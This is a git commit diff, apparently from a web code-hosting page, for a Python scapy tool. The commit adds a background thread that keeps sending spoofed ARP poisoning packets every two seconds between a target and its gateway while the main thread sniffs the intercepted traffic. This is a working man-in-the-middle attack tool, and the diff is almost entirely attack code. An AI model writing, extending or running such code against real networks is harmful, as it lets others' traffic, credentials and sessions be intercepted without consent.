Implement continuous ARP poisoning in a separate thread and enhance packet sniffing
This commit is contained in:
parent
2735b2ef15
commit
85f38b389d
@ -4,6 +4,8 @@
|
|||||||
import argparse
|
import argparse
|
||||||
import signal
|
import signal
|
||||||
from scapy.all import get_if_hwaddr, conf, ARP, send, sniff
|
from scapy.all import get_if_hwaddr, conf, ARP, send, sniff
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
def my_mac():
|
def my_mac():
|
||||||
"""
|
"""
|
||||||
@ -63,10 +65,36 @@ def start_sniffing(interface=conf.iface):
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def continuous_arp_poisoning(target_ip, target_mac, gateway_ip, gateway_mac, stop_event):
|
||||||
|
"""
|
||||||
|
Continuously send ARP poisoning packets in a separate thread
|
||||||
|
"""
|
||||||
|
print("Starting continuous ARP poisoning...")
|
||||||
|
packet_count = 0
|
||||||
|
while not stop_event.is_set():
|
||||||
|
try:
|
||||||
|
mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac())
|
||||||
|
print(f"[ARP] Sent poisoning packets", flush=True)
|
||||||
|
time.sleep(2) # Send ARP packets every 2 seconds
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[ERROR] ARP poisoning error: {e}", flush=True)
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
def run(target_ip, target_mac, gateway_ip, gateway_mac):
|
def run(target_ip, target_mac, gateway_ip, gateway_mac):
|
||||||
try:
|
try:
|
||||||
while True:
|
# Create stop event for threads
|
||||||
mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac())
|
stop_event = threading.Event()
|
||||||
|
|
||||||
|
# Start ARP poisoning in background thread
|
||||||
|
arp_thread = threading.Thread(
|
||||||
|
target=continuous_arp_poisoning,
|
||||||
|
args=(target_ip, target_mac, gateway_ip, gateway_mac, stop_event)
|
||||||
|
)
|
||||||
|
arp_thread.daemon = True
|
||||||
|
arp_thread.start()
|
||||||
|
|
||||||
|
# Start packet sniffing in main thread
|
||||||
|
print("Starting packet sniffing...")
|
||||||
start_sniffing()
|
start_sniffing()
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user